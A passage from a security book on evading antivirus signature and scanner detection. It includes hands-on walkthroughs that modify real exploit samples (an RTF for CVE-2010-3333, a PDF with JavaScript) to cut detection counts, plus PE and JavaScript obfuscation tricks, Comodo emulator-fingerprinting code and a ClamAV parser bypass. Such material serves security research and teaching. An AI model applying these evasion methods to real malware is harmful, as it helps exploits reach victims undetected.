updated routines are stored. If you open this fi le in a hexadecimal editor—Pyew, 

in this case—you see a header similar to the following one:

0000  41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61   AVP Antiviral Da
0010  74 61 62 61 73 65 2E 20 28 63 29 4B 61 73 70 65   tabase. (c)Kaspe
0020  72 73 6B 79 20 4C 61 62 20 31 39 39 37 2D 32 30   rsky Lab 1997-20
0030  31 34 2E 00 00 00 00 00 00 00 00 00 00 00 0D 0A   14..............
0040  4B 61 73 70 65 72 73 6B 79 20 4C 61 62 2E 20 30   Kaspersky Lab. 0
0050  31 20 41 70 72 20 32 30 31 34 20 20 30 30 3A 35   1 Apr 2014  00:5
0060  36 3A 34 31 00 00 00 00 00 00 00 00 00 00 00 00   6:41............
0070  00 00 00 00 00 00 00 00 00 00 00 00 0D 0A 0D 0A   ................
0080  45 4B 2E 38 03 00 00 00 01 00 00 00 DE CD 00 00   EK.8............

As you can see, this is a binary fi le with some ASCII strings and an unknown 

fi le format. You would fi rst need to reverse-engineer the Kaspersky kernel to 

determine the fi le format and unpack it. However, in this case you are lucky 

because somebody has already done this for you. The infamous 29A’s virus 

writer z0mbie reverse-engineered some old versions of the Kaspersky kernel, 

discovered the fi le format of .AVC fi les, and wrote an unpacker. A GUI tool

and its source code are available on the author’s web page at http://z0mbie

.daemonlab.org/.

There is another GUI tool based on this code, which is available through the 

following forum: www.woodmann.com/forum/archive/index.php/t-9913.html.

This example uses the GUI tool AvcUnpacker.EXE. You can get a copy of the 

daily.avc fi le from a working installation of Kaspersky (or fi nd a copy using 

a Google search on the Kaspersky update servers). Open the daily.avc fi le

with the AvcUnpacker.EXE tool. After selecting the correct fi le, click the Unpack 

 button. Your screen should contain a window similar to Figure 7-1.

Figure 7-1:  The AVC tool unpacking the Kaspersky daily.avc signatures file
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After you unpack the daily.avc fi le, the same directory containing that fi le 

will also contain several fi les and directories (see Figure 7-2).

Figure 7-2:  Files and directories created after unpacking

Most of the unpacked fi les are of interest. Start with the fi rst fi le named Stamm-

File Virri/Stamms.txt. If you open it in a text editor, you see something like

the following:

------------------------------ 0000 -----------------------------------
File Virri-Signature Length (1) = 00
File Virri-Signature Offset (1) = 0000
File Virri-Signature (1),w      = 0000
File Virri-Sub Type             = 01
File Virri-Signature (1),dw     = 00000000
File Virri-Signature Length (2) = 00
File Virri-Signature Offset (2) = 0000
File Virri-Signature (2),dw     = FFFFFFFF
File Virri-Virri Finder stub in=0000-> \\Lib-File Virri Finding
 Stubs\Obj0000.obj
File Virri-Name                 = 000001C9 -> Trojan.Win32.Hosts2.gen
File Virri-Cure Parameter(0)    = 00
File Virri-Cure Parameter(1)    = 0000
File Virri-Cure Parameter(2)    = 0000
File Virri-Cure Parameter(3)    = 0000
File Virri-Cure Parameter(4)    = 0000
File Virri-Cure Parameter(5)    = 0000

-------------------------------------- 0001 --------------------------
File Virri-Signature Length (1) = 04
File Virri-Signature Offset (1) = 0000
File Virri-Signature (1),w      = 5C7B
File Virri-Sub Type             = 01
File Virri-Signature (1),dw     = 7B270921
File Virri-Signature Length (2) = 00
File Virri-Signature Offset (2) = 0000
File Virri-Signature (2),dw     = 00000000
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File Virri-Virri Finder stub in = 0001 -> \\Lib-File Virri Finding
 Stubs\Obj0001.obj
File Virri-Name = 00000000 -> Exploit.MSWord.CVE-2010-3333.cp
File Virri-Cure Parameter(0)    = 02
File Virri-Cure Parameter(1)    = 0000
File Virri-Cure Parameter(2)    = 0000
File Virri-Cure Parameter(3)    = 0000
File Virri-Cure Parameter(4)    = 0000
File Virri-Cure Parameter(5)    = 0000
(…many more lines stripped…)

As you can see, this fi le contains the virus name, Exploit.MSWord.CVE-2010-

3333.cp, and the path to the fi nder stub, which is actually in the Common 

Object File Format (COFF), with all the code required for detecting such exploits. 

Launch IDA Pro and then open this COFF object fi le. After the initial auto-

analysis stage, IDA successfully analyzes the COFF fi le and displays a very 

good  disassembly with symbol names! The interesting function in this case 

is _decode. Press Ctrl+E to select the entry point you want, locate the _decode

entry point, and then press Enter to jump to its disassembly listing. You should 

see a disassembly like the one in Figure 7-3.

Figure 7-3:  Generic detection for uncovering some CVE-2010-3333 exploits

This is all of the code required to detect what Kaspersky calls Exploit

.MSWord.CVE-2010-3333.cp. It fi rst checks whether the fi le header (the ds:_Header
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external symbol) starts with 0x74725C7B (hexadecimal for 'tr\{') and then checks

whether the fi le length (ds:_File_Length) is longer than 0x5D00 bytes (23,808

bytes). After these initial checks, it references the ASCII strings ilpd and ocen

and calls a function named DGBMS2, as shown here:

.text:00000026    mov     eax, ds:s_ilpd

.text:0000002B    mov     ecx, ds:s_ocen

.text:00000031    mov     dl, ds:byte_128

.text:00000037    push    20h ; ' '

.text:00000039    push    (offset _Page_E+7E0h)

.text:0000003E    mov     [ebp+search_buf], eax

.text:00000041    lea     eax, [ebp+search_buf]

.text:00000044    push    8

.text:00000046    push    eax

.text:00000047    mov     [ebp+search_buf+4], ecx

.text:0000004A    mov     byte ptr [ebp+search_buf+8], dl

.text:0000004D    call    _DGBMS2

.text:00000052  add    esp, 10h

If you are unclear as to what the function DGBMS2 does, you could guess that it 

tries to fi nd a string in the fi le. Actually, it is trying to fi nd the strings dpli and

neco somewhere after the Page_E symbol (each Page_X symbol contains bytes

from the fi le; for example, Page_A corresponds to the fi rst kilobyte, Page_B to

the second kilobyte, and so on). After this search, and only if the search fi nds 

something, it seeks to 23,808 bytes before the end of the fi le, reads 512 bytes in 

Page_C, and searches for the strings {\\sp2{\\sn1 pF and ments}:

.text:0000005D    mov     edx, dword ptr ds:__0+4 ; "2{\\sn1 pF"

.text:00000063    mov     ecx, dword ptr ds:__0 ; "{\\sp2{\\sn1 pF"

.text:00000069    mov     eax, dword ptr ds:_File_Length

.text:0000006E    mov     [ebp+search_buf2], ecx

.text:00000071    mov     ecx, dword ptr ds:__0+8 ; "n1 pF"

.text:00000077    mov     [ebp+search_buf2+4], edx

.text:0000007A    movzx   edx, word ptr ds:__0+0Ch ; "F"

.text:00000081    mov     [ebp+search_buf2+8], ecx

.text:00000084    mov     ecx, dword ptr _ ; "ments}"

.text:0000008A    mov     word ptr [ebp+search_buf2+0Ch], dx

.text:0000008E    movzx   edx, word ptr _+4 ; "s}"

.text:00000095    push   200h            ; _DWORD

.text:0000009A    add     eax, 0FFFFA300h

.text:0000009F    mov     [ebp+search_buf], ecx

.text:000000A2    mov     cl, byte ptr _+6 ; ""

.text:000000A8    push    offset _Page_C  ; _DWORD

.text:000000AD    push    eax             ; _DWORD

.text:000000AE    mov     word ptr [ebp+search_buf+4], dx

.text:000000B2    mov     byte ptr [ebp+search_buf+6], cl

.text:000000B5    call   _Seek_Read

.text:000000BA    add     esp, 0Ch

.text:000000BD    cmp     eax, 200h
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.text:000000C2    jnz     short loc_F8

.text:000000C4    push    eax             ; _DWORD

.text:000000C5    push    offset _Page_C  ; _DWORD

.text:000000CA    lea     edx, [ebp+search_buf2]

.text:000000CD    push    0Dh             ; _DWORD

.text:000000CF    push    edx             ; _DWORD

.text:000000D0    call    _DGBMS2

.text:000000D5    add     esp, 10h

.text:000000D8    test    eax, eax

.text:000000DA    jz      short loc_F8

.text:000000DC    push    200h            ; _DWORD

.text:000000E1    push    offset _Page_C  ; _DWORD

.text:000000E6    lea     eax, [ebp+search_buf]

.text:000000E9    push    6               ; _DWORD

.text:000000EB    push    eax             ; _DWORD

.text:000000EC    call    _DGBMS2

.text:000000F1    add     esp, 10h

If everything is successful, then it returns 1, which means that the fi le is 

infected. If any of the evidence is missing, it returns 0, which means that the 

fi le is clean. The entire signature can be best viewed in pseudo-code using 

the Hex-Rays decompiler, as shown in Figure 7-4.

Figure 7-4:  Pseudo-code for the _decode routine

After you analyze the logic behind the detection code in the OBJ fi le, it 

becomes obvious that you have many different methods for bypassing  detection. 

For example, if you could somehow change the fi le’s header or craft an exploit 

smaller than 0x5D00 bytes, this code would no longer catch variations of 
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the fi le. If you could change at least one of the strings that it tries to fi nd 

after the initial checks are made, the same thing would happen. Because not all 

the evidence is revealed in the fi le, it would be discarded by this generic detection. 

Now that you know what to do, make one small change to the fi le by putting 

a space between the \sp2 and \sn1 control words. For illustration purposes, 

use the malware sample with the following SHA1 hash: deac10f97dd061780b

186160c0be863a1ae00579. Check the VirusTotal report for this fi le at https:

//www.virustotal.com/ file/651281158d96874277497f769e62827c48ae495c

622141e183fc7f7895d95e3f/analysis/

This report show that it is detected by 24 out of 57 scanners, Kaspersky being 

one of them. If you search for the string {\\sp2{\\sn1 pF and ments} that

Kaspersky tries to match, you will fi nd it at offset 0x11b6:

$ pyew 651281158d96874277497f769e62827c48ae495c622141e183fc7f7895d95e3f
0000   7B 5C 72 74 78 61 7B 5C 61 6E 73 69 7B 5C 73 68  {.rtxa{.ansi{.sh
0010   70 7B 5C 2A 5C 73 68 70 69 6E 73 74 5C 73 68 70  p{.*.shpinst.shp
(…many lines stripped…)
[0x00000000]> /s \sp2
HINT[0x000011b6]: .sp2{.sn1 pF}{.sn2 rag}{.*.comment}{.sn3 ments}
{.sv22 3;8;15

You can open this RTF fi le in a text editor (as RTF fi les are just plain text fi les) 

and add a space between the \sp2 and {\sn1 strings. The exploit will still work, 

but the number of AV scanners detecting it as malicious will drop, as you can 

see in the following VirusTotal report: https://www.virustotal.com/file

/f2b9ed2833963abd1f002261478f03c719e4f73f0f801834bd602652b86121e5

/analysis/1422286268/.

It dropped from 24 out of 57 to 18 out of 56. And, naturally, the antivirus that 

you targeted, Kaspersky, disappeared from this report.

Congratulations, you just bypassed this Kaspersky generic detection in an 

elegant way.

Evasion Tips and Tricks for Specifi c File Formats

The number of fi le formats that can be used to distribute malware, as well as 

the number of tricks employed by malware, are incredibly large; however, the 

following sections will cover only some of the most common ones. The focus 

here is on teaching you how to evade antivirus detection for PE, JavaScript, and 

PDF fi les. 

PE Files

Windows executable fi les are also known as PE (portable executable) fi les. Naturally, 

executable fi les are the most preferred formats among malware writers, because 

they are self-contained and can run without the need to launch another program 
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(as is the case with Microsoft Word fi les). Executable fi les need not be the fi rst 

line of attack, because they can be easily detected. Instead, malware is often dis-

tributed in the form of PDF or Microsoft Offi ce fi les and often via a web browser 

exploit; however, the fi nal stage of the exploit may end up dropping one or more 

PE fi les at some point.

There are innumerable ways of modifying a PE fi le without actually changing 

its behavior or corrupting it. Some of the most typical changes (which are also 

very complex) are listed in the Corkami project’s wiki page that talks about the 

PE fi le format: https://code.google.com/p/corkami/wiki/PE.

The Corkami project is a repository for some of the craziest ideas that Ange 

Albertini—a security researcher who loves to play with fi le formats—has compiled 

and released to the public. Some of the most basic and useful tricks extracted 

from this web page are listed here:

■ Section names—The name of a section, except in the case of some 

specifi c packers and protectors, is meaningless. You can change the name 

of any section to whatever you want as long as you preserve the fi eld 

size (a maximum of eight characters). Some antivirus generic detections

check the section names to determine whether the names match up with

a particular family of malware.

■ TimeDateStamp—In some cases, a family of malware shares the same 

TimeDataStamp (the date when the fi les were built), and this timestamp

can be used by generic AV detections as evidence. Sometimes, the time-

stamp fi eld alone can also be the entire signature. Naturally, this fi eld is 

meaningless to the operating system and can be changed to anything you 

want. It can even be NULL.

■ MajorLinkerVersion/MinorLinkerVersion—Although this fi eld is not 

relevant to the operating system, in general, it can be used in the same way 

as the TimeDataStamp case; as such, it can be modifi ed without causing

the PE fi le to malfunction.

■ Major/Minor OperatingSystemVersion and ImageVersion/

MinorImageVersion—This fi eld is exactly the same as for TimeDataStamp

and MajorLinkerVersion/MinorLinkerVersion.

■ AddressOfEntryPoint—This value is believed to be not NULL. However, 

it can be NULL, which means, simply, that the entry point of the program

will be at offset 0x00, exactly at its IMAGE_DOS_HEADER, which starts with 

MZ magic bytes.

■ Maximum number of sections—In Windows XP, the maximum number

of sections in a PE fi le was 96. In Windows 7, it could be 65,535. Some 

antivirus engines, for performance reasons, try to determine whether the 

PE is broken before actually launching most of their generic detections. 

One check in antivirus engines is that the number of sections expected 
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cannot be greater than 96. This assumption is erroneous for any OS more

recent than Windows XP (which is, by the way, no longer a supported OS).

■ File length—Although not specifi c to this fi le format, PE fi les are often

discarded when they are bigger than some specifi ed size. It is possible 

to add as much data as you want in the overlay (the end of the PE fi le) 

without disrupting the execution of the modifi ed executable fi le. This is 

typical, for example, with many heuristic engines (discarding large fi les

can offer a small performance improvement, as most malware fi les are 

usually “small”).

A large number of tricks can be used in order to evade detection of PE fi les, 

and so it is recommended that you check Ange Albertini’s wiki page on the PE 

fi le format for more details. 

N O T E  While many of the tricks listed in Albertini’s web page can be useful for 

evading malware detection, it is worth mentioning that these tricks are unusual. This

means that once a sample with such characteristics appears, it will be considered 

suspicious. In order to make a program appear benign to antivirus products, it is

recommended that you simply make it look like a goodware fi le. For example, building 

programs that look like ordinary Microsoft Visual C++ compiled fi les without obfusca-

tion, packing, and so on will make them appear less suspicious, which will, in turn, 

make it less obvious to a researcher that the program is malicious.

JavaScript

Most malware distributed on the web is in the form of JavaScript-based exploits 

for browser vulnerabilities. A large number of malware infections come from 

this exact vector: a vulnerability in a web browser such as Internet Explorer or 

Firefox, exploited via an iframe injection or by tricking a user into browsing 

to some website that fi nally drops an executable fi le, such as a PE. As a result, 

antivirus engineers expend a lot of time researching how to detect malicious 

JavaScript. However, JavaScript is a very open language that allows code creation 

on the fl y, as well as the creation of many unusual, though valid, constructs 

and code patterns that are diffi cult to read and interpret by humans (but easy 

to run for a JavaScript interpreter).

For example, can you tell what the following code does?

alert(Number(51966).toString(16));

It shows the message cafe by converting the decimal number 51966 to its

hexadecimal representation 0xcafe and returning a string via toString(16).

Easy, right? What about the next chunk of JavaScript code:
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window[Number(14).toString(16) +
       Number(31).toString(36) + 
       Number(10).toString(16) + 
       Number(Math.sqrt(441)).toString(35)
](unescape("alert%28%22Hi%22%29"));

This shows the message Hi. Not as simple, but it could be even worse. What

does the code shown in Figure 7-5 do?

Figure 7-5:  Obfuscated JavaScript code

It simply shows the message Hi in the browser. As you can see, the number 

of tricks available to obfuscate JavaScript code or to hide the logic, as well as to 

evade detection, is limited only by your imagination. The following sections 

list some interesting tricks for JavaScript obfuscation.

String Encoding

String characters can be encoded in many ways. For example, a series of variable 

concatenations can be used to partially hide the real string being used:

var a = "e"; var x = "v"; var n= "a"; var zz_0 = "l";
real_string = a + x + n + zz_0;

Another example—similar to those in the previous section—involves encoding 

strings as numbers and then converting them to strings later. Another trick is 

accomplished by using the escape and unescape functions, as in the following

example:

unescape("alert%28%22Hi%22%29");

In this example, the complete string “alert('Hi')“ ” is obfuscated so that it 

cannot be easily guessed. If you apply various string-encoding methods, humans 

are unable to read your JavaScript, and de-obfuscation tools are required.
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Executing Code on the Fly

Many interpreters allow code creation and execution on the fl y. For example, 

in JavaScript, you can execute code by passing as an argument a string with 

all the code you want by using functions such as eval. However, there are 

other functions, such as setTimeout (a function used to set up a timer to exe-

cute a code after a number of seconds has passed), addEventListener, or even 

document.write, which can write HTML and JavaScript code. As with JavaScript, 

you can mix many tricks together: for example, a string can be executed, after 

a delay via setTimeout, that writes more obfuscated HTML and JavaScript via

document.write and fi nally executes the true code via eval. You can chain such

tricks as many times as you want.

Hiding the Logic: Opaque Predicates and Junk Code

Another typical trick, although not specifi c to JavaScript, is to use junk code 

to hide logic and opaque predicates. The predicates, for which the answer is 

known beforehand by the malware writers, can be diffi cult to detect without 

an AV engine that has a sophisticated static analyzer:

var a1 = 10; // Set the predicate earlier in the program
// …
// some more junk code
// …
if ( a1 == 10 )
{
  // real code
}
else
{
  // junk code
}

This example can be mixed with more tricks to hide the logic, where code 

could be constructed on the fl y with meaningless names for variables and 

functions, or with names not corresponding to the actions being executed. For 

example, the object’s toString method can be overwritten and then executed

indirectly through its parent object, but instead of having toString return some

string representation, it executes code via a call to eval. As with JavaScript, you 

can chain together many tricks, which makes it really diffi cult for a human to 

determine what the code is actually doing. When all those obfuscation tricks are 

used, it becomes problematic to create generic detection routines and signatures 

based solely on typical evidence-gathering techniques (basic string matching). 

Antivirus companies are well aware of such malware trends and try to combat 

them by including a JavaScript interpreter/emulator in their products; however, 

this solution will still miss many emerging obfuscation tricks.
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PDF

The Portable Document Format (PDF) is a fi le format intended to show  documents 

that need to look the same, regardless of the application software and operat-

ing system used. It was developed by Adobe around 1991 (and was fi rst called 

Camelot) and is now used in all major operating systems. As with all old fi le 

formats that have been widely adopted, PDF is incredibly complex, the speci-

fi cations are long and full of errors, and the fi les are plagued by details and 

exceptions that are poorly documented, if at all. 

The complexity of the PDF fi le format “standard” makes it very easy to modify 

such fi les in order to evade detection. For experimentation purposes, this example 

uses the fi le with SHA1 hash 88b6a40a8aa0b8a6d515722d9801f8fb7d332482. If 

you check its report in VirusTotal (https://www.virustotal.com/file/05d44f5

a3fd6ab442f64d6b20e35af77f8720ec47b0ce48f437481cbda7cdbad/analysis/), 

you will see that it is detected by 25 out of 57 engines.

You will now learn some tricks about the PDF fi le format in order to try to 

minimize the number of existing antivirus products that match their signatures 

against this exploit. As expected, this exploit contains JavaScript code. The 

objects in the PDF fi le with JavaScript code are referenced by either the /JS or the

/JavaScript tags. The names JS or JavaScript can be encoded in two ways:

as ASCII notation and hexadecimal notation. For example, you can change the 

character "a" with its hexadecimal representation, prefi xed with the # character,

so it would be /J#61v#61Script instead of /JavaScript. You can do the same 

with the entire JavaScript string.

As another example, you can replace all occurrences of the string /JavaScript

with the new string /#4a#61#76#61#53#63#72#69#70#74, save it, and upload it 

again to VirusTotal. The new report fi le for this change is found here: https:

//www.virustotal.com/ file/2d77e38a3ecf9953876244155273658c03dba5aa

56aa17140d8d6ad6160173a0/analysis/.

From the report on VirusTotal, it seems this approach failed because now 

a new antivirus product, Dr.Web—which was not mentioned in the previous 

report—has detected it. This happens sometimes: when a trick evades one 

antivirus product, it can be caught by a new one. Now go back to the original 

PDF fi le by reverting the changes, and apply a new trick: object confusion. In a 

PDF fi le, an object has the following format:

1 0 obj <</Filter /FlateDecode >>
stream
…data…
endstream
endobj

2 0 obj
…
endobj
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This example has object numbers (1 or 2), the revision number (0 in both 

examples), and a set of fi lters applied to the object data between the << and the >>

characters. What follows is a stream tag indicating that anything following it is 

the object’s data. Both tags are closed with endstream and endobj, and then a

new object appears. So, what happens if there are objects with repeated numbers 

(for example, two objects with the same object number)? The last object is the 

one that is really used, and the previous ones are ignored. Are antivirus engines 

aware of this feature of the PDF fi le format? To fi nd out, create a dummy PDF 

object with object number 66. You just need to create another fake object with 

this same number and revision before the true one. You add the following chunk 

of data before the line 66 0 obj appears:

66 0 obj
<</Filter /AsciiHexDecode /FlateDecode /FlateDecode /FlateDecode
/FlateDecode >>
stream

789cab98f3f68e629e708144fbc3facd9c46865d0e896a139c13b36635382ab7c55930c8
6d57e59ec79c7071c5afb385cdb979ec0a2d13585dc32e79d55c5ef2fef39c0797f7d754d
ad7fd
2c349dd96378cedebee6f7cf17090c4060fdeecfb7a47c53b69ec54fbfcedefe1e28d210
fbfddfc787ffaa447e54ff7af3755b3f2350ccecdde51ab3d87a8e3f76bf37ec7f9b0c52
d55bfd
ebf9bbab55dc3ff6c5d858defc660a143b70ec2e071b9076e8021bbd05c2e906738e2073
4665a82e5333f7fcbcf5db1a5efe2dfaf8a98281e1cff34f47d71baafd67609ceebb1700
153f9a
9d

endstream
endobj

66 0 obj
(…)

Once you have added this fake object (with another trick that will also be covered), 

you can upload it to VirusTotal to see what happens: https://www.virustotal.com

/file/e43f3f060e82af85b99743e68da59ff555dd2d02f2af83ecac84f773b

41f3ca7/analysis/1422360906/.

Good! Now, 15 out of 57 engines cannot detect it. This can be either because 

they did not know that objects could be repeated or because they failed in the 

other trick that was used here. This other trick is that the stream’s data can 

be compressed and encoded. In this example, the fake object that was added 

is compressed (/FlateDecode) many times and also encoded as a hexadecimal

(/AsciiHexDecode). When this object is decoded and decompressed, it will 

consume 256MB of RAM. Now if you apply the previous trick (the hexadecimal

encoding) again, it may work this time: https://www.virustotal.com/file
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/e43f3f060e82af85b99743e68da59ff555dd2d02f2af83ecac84f773b41f3ca7/

analysis/1422360906/.

The detection rate drops to 14 out of 57. It is worth repeating that a trick that 

does not work alone may work after some changes and thus manage to bypass 

one more antivirus.

Now try again by applying the previous trick and adding a new set of repeated 

objects. The object number 70 points to JavaScript code:

70 0 obj
<<
/JS 67 0 R
/S /JavaScript
>>
endobj

This object points to another object (/JS 67) with the true JavaScript content. 

Now try to fool an antivirus product by creating a new copy of the object 70 

before the true object 70, as you did previously: https://www.virustotal.com/

file/b62496e6af449e4bcf834bf3e33fece39f5c04e47fc680f8f67db4af86f807c5

/analysis/1422361191/.

Again, the number of detections dropped, this time to 13 out of 57. Now try 

with a more hard-core trick. Do you remember the objects and streams? The 

Adobe Acrobat parser does not require either the objects or the streams to be 

closed. Take the object number 66 that was just added, the fake one, and remove 

the lines endstream and m endobj. Observe again with VirusTotal how the results

drop, this time from 13 to 3 detections: https://www.virustotal.com/file

/4f431ef4822408888388acbcdd44554bd0273d521f41a9e9ea28d3ba28355a36

/analysis/1422363730/.

It was a nice trick! And, what is more important is that the functionality 

of the embedded exploit did not change at all because you’re only targeting 

how the Adobe PDF parser works. It would be different if you were targeting 

another PDF reader.

Summary

 This chapter discussed some approaches that you can use to bypass signature-

based detection in general and for specifi c fi le formats. The chapter included 

many hands-on examples and walkthroughs on how to evade signature detec-

tion for PE, JavaScript, and PDF fi les.

To recap, the following topics were covered:

■ Implementing fi le format parsers is a tedious process. When documenta-

tion is not present, hackers rely on reverse-engineering efforts. In both 
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cases, it is impossible to write a bug-free implementation for a complex 

fi le format.

■ Evading signature-based detection can be done systematically or haphaz-

ardly. When done systematically, you have to answer three questions: 

Where are the virus defi nition fi les? What is their fi le format? How is 

the signature for a given fi le encoded in the signature fi le or fi les? After

those questions are answered, you can see what pattern the AV looks 

for in order to detect the fi le you want to avoid being detected. You can

then make changes to the fi les accordingly. Haphazardly evading signa-

tures was covered in the previous chapter. Essentially, you have to keep

modifying the malicious fi le, without changing how it executes, until it 

is no longer detected.

■ AVs detect many fi le formats. For each fi le type to be evaded, you need 

to understand the fi le format to learn how to make evasion modifi cations.

■ The PE fi le format has many embedded structures. Various fi elds in those 

structures are not very important to the operating system, such as the 

PE fi le’s TimeDateStamp fi eld. Some antivirus signatures may rely on 

this fi eld and other fi elds to identify malware. Therefore, modifying these 

fi elds can render a fi le undetectable.

■ JavaScript is used for web-based exploits. Because JavaScript is so versa-

tile, the attackers rely on code obfuscation to hide the exploitation logic

and also to evade detection.

■ PDF fi les are a universally adopted document format. They can be rendered 

seamlessly and independently of the operating system. Under the hood,

the PDF fi le format specifi cation is big and complex. This is a positive point 

for hackers because they have many ways to hide exploits in PDF fi les 

and avoid detection: encoding the embedded JavaScript differently, the

use of redundant stream ids, streams compressed and encoded multiple

times with different encoders and compressors, and so on.

The next chapter covers how to evade scanners rather than signatures.
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Antivirus scanner evasion is different from antivirus signature evasion in the 

sense that you are actually evading the engine instead of signatures for a specifi c 

fi le format (which was covered in the previous chapter).

An antivirus scanner can be considered the heart of the antivirus support 

system. Among many other tasks performed by an AV scanner, it is also respon-

sible for launching generic detections and signatures against the fi le under 

analysis. As such, evading a scanner means evading a whole set of signatures, 

the scanning engine, and the detection logic. In this chapter, you discover how 

to evade both static scanners (which only focus on fi les that are on disk) and 

dynamic scanners (which focus on the behavior of the program or that perform 

memory analysis). 

Generic Evasion Tips and Tricks

You can use some general tips and tricks to evade a scanner. For example, 

big fi les are often excluded by many analysis routines. Although this offers 

a minor performance improvement, it is important, especially when talking 

about desktop antivirus solutions that need to run as fast as possible without 

slowing down the system. Because of the imposed fi le size limit, you can trick 

the scanner into skipping a fi le by changing the fi le’s size to make it larger than 

the hard-coded size limit. This fi le size limit applies especially with heuristic 

C H A P T E R 

8

Evading ScannersScanners
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engines based on static data (data extracted from the portable executable, or PE, 

header). Another tip is that, in general, if a fi le format cannot be correctly parsed 

by the scanner or engine responsible for handling a specifi c fi le format (such 

as a “malformed” PE fi le), it will be discarded from any and all PE routines, 

but cyclic redundancy check (CRC) signatures may still be applied to the fi le 

(for example, CRCs at some specifi c offset). Later in this chapter, you will see 

examples with various fi le formats.

Another trick is that instead of trying to make it diffi cult for the antivirus 

engine to parse the fi le format, you can try to fool one or more of the core’s sup-

port functionalities or libraries. The typical core support functionality resides 

in the emulator and the disassembler. As far as I know, every antivirus engine, 

except ClamAV, contains an emulator for at least Intel 8086 and a disassembler 

for Intel x86. Can you attack the disassembler or the emulator to affect or evade 

the scanner? Many analysis routines rely on the emulation and disassembling 

functionality to gather evidence and behavioral data from malware. If you can 

somehow manage to execute invalid instructions in the emulator or if you can 

craft valid but unimplemented or incorrectly implemented instructions in the 

disassembly engine, you get the same behavior in most AV scanners: no analysis 

routine is able to navigate through the disassembly of your fi le because the core 

kernel support functionality is fl awed.

The following sections discuss more tricks that you can use to evade scanners.

Fingerprinting Emulators

Fingerprinting emulators is one of the most commonly used evasion techniques. 

Malware samples usually become a more likely candidate for emulation when 

they contain polymorphic or metamorphic code. Using a static analysis engine 

is not enough because writing a complex and foolproof static analysis engine is 

too expensive. To identify an emulator in an AV kernel, you can rely on the fact 

that the emulator may correctly or fully emulate not a whole operating system

but only the most commonly executed functions. In many cases, you can give 

the illusion that all the operating system functions are implemented by creating 

stubs for those functions that, very often, return hard-coded values. The fol-

lowing example uses the Comodo antivirus emulator for Linux. If you open the 

library libMACH32.so (which is full of symbols, something that is very helpful) 

in IDA, you will discover functions like the following one:

.text:000000000018B93A    ; PRUint32 __cdecl Emu_OpenMutexW
(void *pVMClass)
.text:000000000018B93A                    public _Z14Emu_OpenMutexWPv
.text:000000000018B93A    _Z14Emu_OpenMutexWPv proc near         
; DATA XREF: .data:kernel32ApiInf
.text:000000000018B93A    pVMClass = rdi                         
; void *
.text:000000000018B93A mov     eax, 0BBBBh
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.text:000000000018B93F retn

.text:000000000018B93F     _Z14Emu_OpenMutexWPv endp

.text:000000000018B93F

.text:000000000018B93F

This is the code corresponding to the emulated kernel32’s function OpenMutexW.

This function always returns the magic value 0xBBBB. The chances of OpenMutexW

returning this value are very low. The chances of a call to this function returning 

the same value twice are negligible, unless you are inside the Comodo matrix. 

You can implement some C code to fi ngerprint the Comodo emulator:

#define MAGIC_MUTEX 0xBBBB

void is_comodo_matrix(void)
{
  HANDLE ret = OpenMutex(0, false, NULL);
  if ( ret == MAGIC_MUTEX && 
       OpenMutex(NULL, false, NULL) == MAGIC_MUTEX )
  {
    MessageBox(0, "Hi Comodo antivirus!", "Comodo's Matrix", 0);
  }
  else
  {
    // Do real stuff here...
  }
}

You can use a set of tricks like this one to ensure that you are executing code 

inside the Comodo emulator. As another example, look at the emulated func-

tion Emu_ConnectNamedPipe corresponding to kernel32!ConnectNamedPipe:

.text:000000000018B8E8 ; PRUint32 __cdecl Emu_ConnectNamedPipe
(void *pVMClass)
.text:000000000018B8E8                 public _Z20Emu_ConnectNamedPipePv
.text:000000000018B8E8 _Z20Emu_ConnectNamedPipePv proc near   
; DATA XREF: .data:kernel32ApiInf
.text:000000000018B8E8 pVMClass = rdi                          ; void *
.text:000000000018B8E8                 mov     eax, 1
.text:000000000018B8ED                 retn
.text:000000000018B8ED _Z20Emu_ConnectNamedPipePv endp

This stub always returns true (the value 1). You can now test for the  presence 

of the emulator by calling the kernel32!ConnectNamedPipe function with

parameters that you know should cause it to fail. In the case of the emulator, 

this function will always succeed, and to you this is the emulation indicator. 

However, this anti-emulation technique is not specifi c to the Comodo anti-

virus. Generic tricks are usually better because they can be used on many 

products. However, there are various reasons an attacker would want to fi n-

gerprint just one emulator: the attacker may be interested in bypassing the 

antivirus products of its target or may want to target one specifi c antivirus 
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product to exploit a vulnerability. If you have, for example, a vulnerability in 

the Comodo antivirus engine when scanning some fi le format, you can use 

the emulator to try to fi ngerprint the Comodo antivirus and then unpack the 

specifi c fi le or buffer that will exploit the Comodo vulnerability while hiding 

this logic from other antivirus products for which the exploit does not work 

or does not apply.

Advanced Evasion Tricks

In this section, you learn some tricks that can be used to evade many antivirus 

scanners. Most of the tricks are generic and still work today. However, once 

these tricks are exposed, they are patched quickly.

Taking Advantage of File Format Weaknesses

Chapter 7 discusses how to bypass signatures applied to some fi le formats such 

as portable executable (PE) or PDF. However, as I shall explain in the following 

paragraph, you can bypass the whole PE parsing module for any PE fi le using 

a more sophisticated method than bypassing just a single signature for a fi le or 

group of fi les. The following example uses the PE parser module of ClamAV. 

The libclamscan/pe.c file in the int cli_scanpe(cli_ctx *ctx) routine 

includes the following code:

(...)
    nsections = EC16(file_hdr.NumberOfSections);

if(nsections < 1 || nsections > 96) {
#if HAVE_JSON
        pe_add_heuristic_property(ctx, "BadNumberOfSections");
#endif

if(DETECT_BROKEN_PE) {
cli_append_virus(ctx,"Heuristics.Broken.Executable");
return CL_VIRUS;

    }
    if(!ctx->corrupted_input) {
        if(nsections)
        cli_warnmsg("PE file contains %d sections\n", nsections);
        else
        cli_warnmsg("PE file contains no sections\n");
    }

return CL_CLEAN;
    }
    cli_dbgmsg("NumberOfSections: %d\n", nsections);
(...)

This code fragment shows that the number of sections in the PE fi le under 

analysis is checked: if the fi le has no sections or the number of sections is 



 Chapter 8 ■ Evading Scanners 137

higher than 96, the PE is considered broken. The detection "Heuristics.Broken

.Executable" is usually disabled (because of the DETECT_BROKEN_PE C prepro-

cessor defi ne). Therefore, the ClamAV scanner returns CL_CLEAN for a PE fi le

with no sections at all or more than 96 sections. This behavior is wrong. Until 

Windows XP, it was not possible to execute a PE fi le with more than 96 sections, 

but since Windows Vista, it is possible to execute PE fi les with up to 65,535 sec-

tions. Also, a PE fi le does not require sections at all: with low-alignment PE fi les, 

the NumberOfSections value from the IMAGE_FILE_HEADER can be NULL. This

trick (extracted from the Corkami project page about PE tricks) can be used to 

